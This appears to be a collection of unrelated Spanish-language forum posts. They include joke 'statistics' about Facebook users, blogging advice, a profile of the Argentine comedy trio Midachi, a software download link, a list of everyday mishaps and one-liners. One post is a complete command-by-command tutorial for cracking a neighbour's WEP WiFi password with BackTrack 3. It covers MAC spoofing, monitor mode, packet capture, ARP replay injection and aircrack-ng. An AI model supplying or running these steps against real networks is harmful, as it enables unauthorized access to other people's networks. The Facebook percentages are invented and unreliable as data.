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Usuario (Argentina)
Luego de una exhaustiva investigación y tras cruzar los resultados de varias encuestas, una famosa consultora cuyo nombre no daré, ha dado a conocer algunos datos sobre la gran red social Facebook, que resultan inquietantes. Comparto la primicia con los lectores de Peinate: 1) El 22% está absolutamente convencido de que una imagen borrosa (tomada con una cámara en movimiento) es artística, y se ponen eso como avatar. 2) El 82% no tiene ni puta idea qué hacer con los regalitos virtuales, siendo que la opción más coherente es perdérselos en el culo, puesto que no tienen ninguna utilidad. 3) El 62% no tiene idea de quiénes son el 63% de los amigos que tiene agregados. 4) El 84% de los famosos que hay en Facebook no son ellos, o son impostores o se trata de gente con severos desórdenes psicológicos que los hacen adoptar otras identidades. 5) Sólo el 12% de los usuarios coloca en el perfil fotos que no los favorezcan, mientras que un 22% opta por una imagen simbólica que los represente (fotograma de película, dibujo animado vintage, o personaje de los Simpsons). El resto de los mortales se inclinan por imágenes de cuando eran flacos, estaban más o menos jóvenes, o la toma los favorece excepcionalmente. 6) El 99% de los trolls no le encuentran mucho sentido a putear a la gente que puede bloquearlos y entonces usan Sonico, Hi5, o directamente van y se inscriben en un taller literario. 7) El 77% de los que decían que los blogs eran una cagada ahora escriben textos con pretensiones literarias y/o periodísticas en Facebook. 8 ) El 51% de los muertos famosos resucitan en Facebook; las búsquedas de personalidades fenecidas deparan sorpresas, como verlos vivitos y posteando. 9) Las mujeres que como avatar usan una instantánea en bikini o mostrando tres cuartos de teta, tienen un 67% más de amigos que el flaco que puso la foto suya con los sobrinitos. 10) El 65% de los blogguers alberga la ridícula esperanza de que participando en una red social, desviará un torrente caudaloso de visitantes a sus bitácoras. 11) El 78% de los usuarios piensan que, efectivamente, Facebook es del FBI, pero igual sigue sin importarles tres carajos. 12) El 22% de los hombres se entusiasma con la posibilidad de conocer una mujer para tener algo “más o menos serio”, mientras que el 78% de las mujeres ni en pedo se engancharían con alguien que conocieron por Facebook. 13) El 19% se arrepiente a la semana de haber aceptado a viejos conocidos que aparecen cada dos por tres en el chat insistiendo con que “tenemos que juntarnos a tomar un café para ponernos al día”. El 100% de los 19 se preguntarán en voz alta: “¿Y a este para qué mierda lo agregué?”. 14) El 34% de los usuarios que no se consideran “agraciados” eligen poner en su avatar fotos con partes de su cuerpo (las más comunes son ojos, bocas, pies y manos). 15) El 73% de la gente tiene una carpeta que se llama “fotos varias”, o “varias”, o “de todo un poco”. 16) El 81% dice que no disfruta de Facebook, y argumenta que se creó una cuenta para no perder contacto con dos locos amigos neozelandeses que conoció una vez. 17) Sólo el 37% se anima a poner en qué tipo de relación sentimental se encuentra, mientras a un 19% le parece que es una pérdida rotunda de la dignidad andar ventilando intimidades de pareja en una red social. Hay, claro, un 56% que se queda pensando qué pondrían ellos si tuvieran que completar ese casillero. 18) El 62% tiene que esforzarse en escribir el “qué estás pensando” en tercera persona. La reacción natural es pensarlo en primera, hablar de uno mismo tomando semejante distancia, confunde. 19) El 62% de los usuarios tiene los huevos por el piso con tantas notificaciones bombardeándoles la bandeja de entrada de sus correos y no saben que hay una opción para dejar de recibir toda esa mierda en el mail, destildando un puntito. 20) El 88% cree que el éxito de una reunión/fiesta/presentación está garantizado si bombardea a todo el mundo con mensajes privados. 21) El 99% está rotundamente equivocado si piensa que “avisar por Facebook” tiene el mismo valor que avisar con un mail. 22) El 92% de los que aprietan “es posible” en las invitaciones lo hacen sabiendo que no irán un carajo. 23) Un 93% es voyeurista y canaliza sus impulsos revisando las carpetas de fotos de todos sus contactos religiosamente una vez por mes. 24) El 88% no entiende cuál puta es el concepto de “Dar un toque” o “hacerse fan”, pero por las dudas responden con otro toque y/o se hacen fan lo mismo. 25) Sólo al 12% de la gente le da exactamente lo mismo quién inventó Facebook, al resto lo envenena una malsana envidia por “esos dos pajeros que hicieron semejante fortuna con esta boludez”. 26) El 16% de los que no tienen Facebook leerán esto sin entender absolutamente nada; 0.4% de ese porcentaje se abrirá una cuenta para “ver de qué se trata”.
Hay algunos factores que si bien no garantizan el éxito por lo menos nos alejan del fracaso. 1) Prescindir de un buen título Con esto, no me refiero a que debamos de llenar el título de la entrada con palabras clave para que Google posicione bien nuestro artículo. Se trata de escribir para seres humanos. Google cataloga el contenido, pero sólo los ojos humanos pueden leerlo, y el título es, definitivamente, el primer punto de encuentro entre el blog y los ojos del lector. Éste debe ser claro y abordar el tema de lleno. Los expertos en SEO te dirán que mientras más breve mejor, que evites los títulos largos y, evidentemente, que incluyas laspalabras clave de las que he hablado, pero esto es una falacia. Si el título necesita ser largo para ser comprendido con facilidad, ¡escribe títulos largos! No se trata de que nuestros títulos parezcan telegramas o, en el mejor de los casos, acertijos que ellector debe resolver. Mi consejo es: Escribe los títulos tal y como te vengan a la mente y te sorprenderás de lo sencillo que será para los visitantes entender de qué se trata el asunto. 2) Tratar de impresionar al lector Cada uno de nosotros tiene una forma peculiar y tal vez única de expresarse. Si estás escribiendo para impresionar a los demás, tu lenguaje se escuchará poco natural, forzado y, en pocaspalabras, falso. Una entrada de un blog no tiene como objetivo impresionar a tus maestros para obtener una buena nota. Y si escribes para ganarte el respeto de tus compañeros bloggers, estás cometiendo un grave error. Escribe tal como hablas (tal vez sólo debas prescindir de las groserías) y verás cómo es más fácil explicar lo que tienes en mente. Además, ellector te lo agradecerá. 3) Ser imparcial La imparcialidad está bien en los árbitros de futbol o en los jueces, pero no en un blog. Expresa tu opinión, y no importa que estés equivocado. Los lectores aprecian más un punto de vista honesto que el frío y contundente lenguaje de un escritor imparcial. Seguramente habrá temas en los que debas guardar tuspuntos de vista para ti, pero en la mayor parte de los casos una opinión personal es bienvenida y ayuda a crear un ambiente confortable para ellector. Y lo mejor de todo: Si estás equivocado, los visitantes te lo harán saber a través de los comentarios y con ello tendrás la oportunidad de aprender y de mejorar. 4) Extenderse demasiado Hay ocasiones en que el tema amerita varios cientos (o miles) de palabras, pero en general trata de ser breve, de exponer el tema central y deja los adornos para los poetas, los editorialistas o los que se deleitan admirando su enorme sapiencia. Recuerda que ellector dedica unos cuantos segundos o un par de minutos a juzgar un artículo. No desperdicies su tiempo con largas introducciones e infórmale pronto de qué se trata tu artículo para que él o ella puedan decidir si vale la pena leerlo o no. En caso contrario, ellector podrá sentirse defraudado o engañado y eso en la red es un pecado imperdonable. 5) No hablar de tu gato Si no tienes un gato, puedes sustituirlo por un hámster, un perro, el recibo de la luz o el frío que ha hecho en los últimos días. Evidentemente, estoy bromeando. Lo que en realidad quiero decir es que no te escondas tras laspalabras. Todo lo contrario: ¡Usa las palabras para mostrarte ante tus lectores! No necesitas escribir un diario lleno de todas esas cosas intrascendentes que sólo te importan a ti, pero intenta quitarte la máscara, explicarle allector quién eres, qué piensas y qué sientes. Si el tema lo permite, cuenta una pequeña anécdota acerca de ti o, como dije, de tu gato. La única cosa que debes tener en mente es no abusar. Si conviertes tublog en un recuento egocéntrico de tu vida, terminarás aburriendo a los lectores. Para que lo sepas, no todo el mundo piensa que tu vida sea tan interesante como puede serlo para ti. Sé cuidadoso.
Vamos a ver como sacar contraseñas WiFi, en este caso una contraseña con encriptación WEP. 1. Lo primero que debemos hacer es descargar Backtrack 3. : http://www.remote-exploit.org/cgi-bin/fileget?version=bt3-usb 2. Luego grabamos la imagen en un CD, para esto podemos utilizar un programa gratuito como ISO recorder 2.0. Descargalo aqui: http://iso-recorder.softonic.com/ 3. Una vez con el cd grabado, reiniciamos el computador y ponemos el cd para que arranque BackTrack 3. 4. Luego abrimos una consola (shell) con el icono que está al lado de la “K” de la esquina inferior izquierda. 5. Detenemos nuestra tarjeta de Red (En este caso una Atheros por lo tanto es ath0) Escribimos: airmon-ng stop ath0 Para continuar, cambiamos nuestra MAC (Media Access Control), para ser “ocultados”. Escribimos: macchanger -m 11:22:33:44:55:66 ath0 Iniciamos nuestra tarjeta de Red en modo Monitor. Escribimos: airmon-ng start ath0 Ahora nos aseguraremos que todo vaya bien, revisaremos la MAC cambiada y que la tarjeta esté en modo Monitor. Escribimos: iwconfig Ahora, a revisar si hay redes cerca nuestro. Escribimos: airodump-ng ath0 Anotemos datos muy importantes de la pantalla anterior, como lo son: * La MAC de la red (BSSID) * El canal por donde se transmite la red WiFi (CH) * El nombre de la red (ESSID) Presionamos CTRL+C y así se detendrá la búsqueda de redes cercanas. Luego escribimos: airodump-ng –channel X –write XXX ath0 x= Canal (CH) xxx= Nombre para guardar el archivo con información, pongan cualquier nombre, en este caso “pass” Para este ejemplo sería: airodump-ng –channel 5 –write pass ath0 Ahora abrimos otra ventana de consola (Shell). Escribimos lo siguiente: aireplay-ng -3 -b (mac de la red) -h (nuestra mac) ath0 Volvemos a abrir otra ventana de consola (Shell) Ahora escribimos: aireplay-ng -1 0 -e (ESSID) -a (BSSID) -h (nuestra mac) ath0 # Ahora debemos esperar a que se obtenga la información suficiente como para saber la contraseña de la red, para esto tenemos que esperar a que los ARP sean altos (más de 50.000). # Una vez que tengamos suficiente información (lo sabrás con experiencia, muchos intentos, todo depende de la dificultad de la contraseña), cancelamos lo que teníamos andando presionando CTRL+C en cada consola (Shell). # Luego iniciamos otro programa para que desencripte la contraseña. Escribimos: Aircrack-ng pass-01.cap Finalmente, ya tenemos la contraseña de la red. BackTrack 3 ha funcionado. Aclaraciones: Debido a problemas con mi máquina virtual, no he podido poner mis propias imágenes, agradezco este tutorial encontrado en Internet. A pesar de que no son mis imágenes, si he hecho estos pasos pero con una tarjeta Ralink. comenten¡¡¡¡¡¡
para mi son los MEJORES Midachi es grupo humorístico – musical creado en 1983 por Dady Brieva, Miguel Torres del Sel y el Chino Volpato. El grupo surgió de un programa en Santa Fe, llamado "De doce a catorce", un programa periodístico cómico e informal. En los inicios, el grupo en realidad era un dúo conformado por Miguel del Sel y el Chino Volpato llamado "Los Comiserios". Desde su creación y hasta 1989, fecha de su desembarco en Buenos Aires, el grupo recorrió varias veces el país en maratónicas giras que tocaban todas las ciudades importantes de Argentina. Durante ese lapso Midachi realizó 6 temporadas de verano en la ciudad de Villa Carlos Paz con una creciente convocatoria de público que hizo que 1989 se presentaran en el Teatro Opera de Buenos Aires. A partir de allí se sucedieron sin interrupción temporadas en calle Corrientes (Teatros Lola Membrives, Metropolitan, Broadway, Astral), giras nacionales e internacionales (Colombia, EE.UU., Uruguay, Paraguay, Cuba, República Dominicana) y temporadas de verano en Mar del Plata y Villa Carlos Paz que dieron origen a lo que se llamó “el fenómeno Midachi”. En 1995 el grupo se disolvió y cada uno de sus integrantes desarrolló una exitosa carrera en forma independiente en cine, teatro y televisión. A partir del año 2000 Midachi se reune periódicamente para presentar nuevos shows. Así, en 2000, 2003 y 2006 Midachi realizó temporadas en Buenos Aires y funciones en el interior y exterior del país. A partir de julio de 2008, Midachi presentó su nuevo espectáculo "Midachi de Pelicula", en el Teatro Opera de la ciudad de Buenos Aires, que se extendió durante agosto y setiembre de ese año. El sabado 19 de septiembre de 2009 se presenaron en San Vicente provincia de Santa Fe en la fiesta nacional de la cosechadora presentando, ante casi 40.000 personas el show "midachi de pelicula SUS RECORDS 4.500.000 cantidad aproximada de espectadores convocados en toda su carrera 42 el promedio de puntos de rating alcanzado durante su participación en el programa Almorzando con Mirta legrand 55 el pico de rating durante la emisión por TV del video Concierto de Humor 50.000 los cds vendidos de “Midachi en la radio” con sus participaciones en el programa “Movida 630” que se convirtió en disco de oro. EMPECEMOS A CONTAR UN POCO DE HISTORIA DE CADA UNO Dady Brieva (un fenomeno) Creo que si Dady leyera estaría felíz de que su nombre esté en mis manos, pues ambos nacimos casi arriba de un camalote en Santa Fé. Si bien algunos años menor, ví surgir a MIDACHI casi como un juego en el Club Regatas de Santa Fe. Dady era de Montevera, una pequeña localidad a pocos minutos de la ciudad, cerca del río, rodeado de sauces. Siempre en las entrevistas Dady jamás deja de mencionar su ciudad, su vieja y su hermana la gorda. Esto es lo que lo identifica como el tipo familiero, el que se nos pega una vez que lo conocemos y del que nunca nos vamos a desprender. Sencillo y humilde de corazón, más de una vez ha tenido gestos nobles colaborando desinteresadamente con shows para su provincia natal. Dady también fue el propietario de un jardín de infantes llamado Jardín de la luna, un paraíso para los más chiquitos. Lentamente dejó de frecuentar el jardincito, Buenos Aires lo atrapó y como era de esperar se radicó para siempre allá junto a su familia. Artista innato, no necesitó escuela para mostrar el talento que posee. Hoy lo vemos en ShowMatch, mueve con tanta soltura su cuerpo que hasta podría decirse que es un bailarín profesional. Supongo que esta facilidad de expresión es sinonimo de la gran seguridad interior que siente. Rápido en las respuestas, hoy en Intrusos denunció el no haber sido jamás reconocido el grupo MIDACHI como corresponde. Mencionó a Clarin, y dijo que “aunque sea chofer de Ernestina Nobel nadie nos nombra demasiado”. El tipo tiene razón, hace poco con los premios Gardel yo escribí sobre la falta de mención de los grupos del interior, en ese momento los cuarteteros de TRU LA LA. Dady triunfó, canta, baila, se comunicó como ninguno con los chiquitos en Agrandaditos y si el éxito no le da la mano dice: “Me pego un tiro en las bolas”. Solo elogios para Dady Brieva, esta tarde Rial le preguntó si MIDACHI tenía psicólogo como Les Luthiers y el respondió: “nuestra contención era Madam Nana, a la tipa la frontoneamos y con ella descargábamos todo, era la que nos contenía”. Para Dady el humor es la única respuesta a todas las preguntas en la vida. miguel del sel En una sala ubicada en el límite de Barrio Norte con el porteñísimo Abasto (zona donde surgiera a la popularidad el "zorzal criollo" Carlos Gardel) asisto al ensayo de un sólido grupo de excelentes músicos encabezados por la afinada voz de un intérprete reconocido masivamente por su carácter actoral pero muy poco como cantante: Miguel Del Sel, me impresiona favorablemente el sonido compacto y poderoso de la banda cuando hace una versión con base de samba brasilera de la famosa cumbia "La Pollera Colorá", asisto así al anticipo del nuevo disco de Miguel. Oriundo de Santa Fé, donde hace ya algunos años se juntó con Dady Brieva y el Chino Volpato para crear el mítico trío Midachi, brillante humorista, amante de su familia y fanático de Unión nunca dejo de vivir en su ciudad natal a pesar de las largas temporadas teatrales y ciclos televisivos que desarrolló en Buenos Aires. Allí, en sus pagos, tomó contacto por primera vez con la Salsa. Miguel Del Sel: Iba a los boliches y escuchaba a Rubén Blades con "Pedro Navaja" y "Plástico" y pude descubrir así una música distinta que me atraía muchísimo, compré mis primeros cassettes y a partir de ahí no paré más, ahora tengo una colección de 600 discos de Salsa y Merengue. Hace poco cuando vino a filmar una película dirigida por ROBERT DUVALL pude conocerlo personalmente y fuimos a comer juntos, fue como el gran deseo realizado ya que es mi ídolo musical, creo que en la vida le deben haber hecho tantas preguntas como las que le hicimos esa noche. Obviamente tengo todos sus discos y me comentó que estaba por sacar uno nuevo así que estoy esperando que salga para comprármelo. Chino Volpato Hace un año y medio, el santafecino Darío Volpato, de 43 años, decidió escribir una comedia musical. El ex Midachi (se trata de El Chino, por supuesto) sigue viéndose con Miguel Torres del Sel y con Rubén Brieva, pero se cortó solo, entre otras cosas, porque no soporta pasar mucho tiempo fuera de su Santa Fe natal, en donde vive con su mujer, sus hijos (dos mujeres, de 17 y de 12, y un varón de 8) y en donde están sus raíces y sus mayores afectos, que no sólo de fama vive el hombre. –Y entonces, Chino, ya te olvidaste de cuando eras profesor de Educación Física y de cuando jugabas básquet en Libertad de Sunchales... –¿Qué? Cuando puedo lo voy a ver a Libertad. Y casi siempre puedo. –Pero, ¿el deporte y la vida artística, que se desarrolla generalmente de noche, no se dan de patadas? Agregale la crianza de tus hijos y... –No me hables de eso. La mayor me está volviendo loco con lo que le pasa en el colegio. Pero no, las dos cosas se pueden hacer tranquilamente. Por lo demás, en El Emperador he puesto mucho de mí mismo. No es que me arrepienta de haber sido un Midachi. De hecho, cuando Miguel o Dady vienen a Santa Fe, nos vemos, seguimos siendo amigos. Pero esta obra es otra cosa. –¿Por qué las primeras funciones en Santa Fe? –Lo hago porque vivo en Santa Fe. Me hubiera costado horrores estar ocho meses preproduciendo el espectáculo en Buenos Aires con toda mi familia allá. A partir de mi familia monté todo el espectáculo en Santa Fe. Me levanto y tengo el estudio en mi casa. –¿Realmente, en tu casa? –Sí. Es un estudio mediano que posee todos los condimentos digitales necesarios. Tengo el software de audio y video que poseen los grandes estudios. Tengo una computadora con la que trabajo. –¿Y por qué esta obra? –Mirá... hay en ella muchas cosas que tienen que ver con mi vida. Algunos sostienen que nadie puede escribir si no es en primera persona. Siempre existe algo que uno deja de lo vivido y que pone de alguna experiencia propia. Y a mí me han pasado algunas cosas así y tal vez lo estoy traduciendo en un personaje. Entre otras cosas que sucedieron: que no se valore el laburo que uno hace afuera. Un ejemplo es cuando opinan que no estás trabajando porque no estás en la televisión. Entonces hay millones de personas que no laburan, lo cual lamentablemente es verdad, pero con respecto a la televisión no. A la tevé la respeto porque es el medio más importante, sin embargo, no me desvivo por ella. Es un medio que tienen muchas presiones, y la gente que no las conoce cree que todo es fantástico. Cuando no estás y la gente quiere que estés, sos el más grande. Cuando estás, sos un empleado más. Mirá lo que pasó con Los Roldán…Yo pienso absolutamente diferente. –¿Sabés qué, Chino? La gente cree que estuviste vagando... –Es por eso que te comentaba: por el hecho de no estar en televisión; pero hice más de lo que la gente se imagina. Con Midachi tuve muchas satisfacciones, pero ahora también las tengo. No es lo mismo, esto te lo puede asegurar cualquiera de mis compañeros, nunca van a encontrar la misma satisfacción de haber generado el pancito en tu casa y que este se haya vendido como se vendió. En cambio cuando vas a la televisión sos un fusible más de toda la estructura que está armada. Y depende de muchas variables que sea un éxito o un fracaso. Por lo demás... y de yapa... algunos videitos link: http://www.videos-star.com/watch.php?video=lh3PEy1Rj_k&feature=fvw link: http://www.videos-star.com/watch.php?video=6LVter7w2Ic&feature=related link: http://www.videos-star.com/watch.php?video=edTbsJBGDNg link: http://www.videos-star.com/watch.php?video=-PT_ZLEwuDM&feature=related
este programa es para editar fotos. muy bueno!!!! Un editor de imágenes y gráficos de computador exclusivamente avanzado que ofrece a los usuarios una amplia variedad de posibilidades en el campo de Mejora de Imágenes y Edición de Imágenes y en el campo de Gráficos de Computador. Usando el editor puedes llevar a cabo varias tareas, de simples a complejas; puedes editar imágenes existentes, crear nuevos trabajos basándote en imágenes existentes, crear trabajos nuevos a partir de cero y más. link de descarga: http://dplus.softonic.com/cdn-am-download/Dl3d9AHz7vmM%2BxHc0sBvOWz9ayNnNNsoTwceHxl5xkXJOd%2BCppuMEsCuUj9WzOy544tfZJKW6VXI8vbSkzt%2F8kuuMaBLHwq2khfIntQ7dYZdqHRsAgMYZl%2Fyo7oKF3PSCI%2B%2F5CY2v2Jo3GBoxgZrJXw7jeJ4zK71h91j0iyFWx37DppWp%2F3h8boTDVyRgGaaRgfr2Gn12s7YO0QDm4X5SSpRsYIo%2BoNozHfxI5AkLRcpQYh8Cs%2Fpf5wbiZx9485G espero que les sirva... COMENTEN!!!!!!!!!!!
espero que les haya gustado!!!! no te vayas sin comentar graxias!!
ya se que me lo van a borrar pero antes de eso quiero que lo lean todo, seguro esto les pasa saludos 1. Que se te caiga el chicle de la boca cuando estás hablando. 2. Saludar a alguien en la calle por equivocación. (lo hago a menudo de cotorreo y la mayoria me contestan al saludo) 3. Golpearte con una puerta o algo transparente. 4. Llamar 2 o más veces al mismo número cuando te dijeron: ‘equivocado’. (es para confirmar, hombre prevenido vale por 2) 5. Pensar algo divertido y te empezás a reír y la gente se te queda viendo raro. 6. Golpearte con un árbol/poste/cartel mientras caminas. 7. Te es posible chuparte el codo. 8. Al leer esto, acabas de intentar chupar tu codo. 9. Mandar un mensaje de texto a la persona incorrecta. 10. Ponerte el zapato izquierdo en el pie derecho y/o viceversa. 11. Salir con la etiqueta de la ropa nueva a la calle. 12. Ahogarte con tu propia saliva. 13. Ir a un lugar en tu vehículo y volver caminando. Se cuenta la bici. 14. Confundir la sal con el azúcar en las comidas/bebidas. 15. Abrir al revés la caja de fósforos. 16. Abrir el bidet y mojarte la cara con el chorro. 17. Tragarte un insecto sin querer. 18. Incendiar algo accidentalmente. 19. Intentar tomar un sorbete con la boca y se te va por la nariz/ojos. 20. Dormir y despertarte todo babeado. 21. Dormirte en clase. (solo una vez me paso a mi) 22. Destapar la gaseosa y salpicarte, cerrarla, abrirla y volver a salpicarte. (a alguien le ha pasado esto) 23. Contar algo y olvidarte de lo que hablabas. 24. Llegar al mostrador y olvidarte de lo que ibas a comprar. 25. Querer servir la bebida con la botella tapada (seguro que a todos les ha pasado esto) 26. Usar los dedos para hacer sumas simples. (yo nunca! ja.) 27. Dormirte en el colectivo y pasarte de la parada. 28. Cerrar la puerta, que abre solo de adentro, y dejar las llaves de ese lado. 29. Ponerte la ropa al revés o del lado equivocado. 30. Buscar algo por todos lados y que lo tenías en la mano. 31. Abrir el bidet y que el agua salga demasiado caliente. 32. Ir a votar y no llevar el DNI. 33. Tragarte el chicle. 34. Ir a comprar y no llevar la plata. (odio cuando me pasa eso) 35. Hacer una cola de 3 hs que no era. 36. Agarrarte los dedos con el ventilador de techo. 37. Tirarte al agua y rasparte la cara contra el fondo. 38. Largar una carcajada con la boca llena de líquido y escupir todo. 39. Ir caminando, que se te salga el zapato y tener que volver a buscarlo 40. Quemarse los pies con la arena y disimularlo. 41. Salir o entrar al agua y que se te baje la maya. 42. Entrar al departamento o auto equivocado. 43. Que se te caigan objetos al inodoro. 44. Poner la pava a calentar sin agua. 45. Entrar al baño del género equivocado. 46. Inclinarte el vaso antes de llegar a la boca y chorrearte. 47. Dejar el auto sin freno de mano y que se te vaya cuesta abajo. 48. Prender el cigarrillo al revés e intentar fumarlo. 49. Decirle mami a la profesora. 50. Chocarte con alguien en la calle y salir los dos para el mismo lado.
La verdadera felicidad esta en las pequeñas cosas: una pequeña mansión, un pequeño yate, una pequeña fortuna. El que es capaz de sonreír cuando todo le esta saliendo mal, es porque ya tiene pensado a quien echarle la culpa. Si Superman es tan listo... ¿por qué se pone los calzoncillos encima de los pantalones?. Un experto es alguien que te explica algo sencillo de forma confusa de tal manera que te hace pensar que la confusión sea culpa tuya. La tontería es la más extraña de las enfermedades. El enfermo nunca sufre, los que de verdad la padecen son los demás. La primera mitad de nuestra vida nos la estropean nuestros padres; la segunda nuestro hijos. El que nace pobre y feo, tiene grandes posibilidades de que al crecer se le desarrollen ambas condiciones. Algunos dicen que el trabajo duro nunca ha matado a nadie, pero yo me digo: ¿por qué arriesgarse?. hay un par mas cualquier cosa habisen!!!!!!! COMENTEN GRAX!!!!!